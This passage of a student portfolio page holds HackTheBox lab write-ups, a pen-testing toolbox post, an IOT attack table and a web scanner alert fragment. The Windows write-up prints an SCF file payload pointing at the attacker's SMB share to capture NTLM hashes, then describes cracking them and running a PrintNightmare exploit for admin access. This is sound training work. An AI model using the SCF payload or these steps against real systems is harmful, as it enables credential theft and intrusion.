/tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 080804898Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 083845791, which evaluates to: 1972-08-28 11:29:51
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
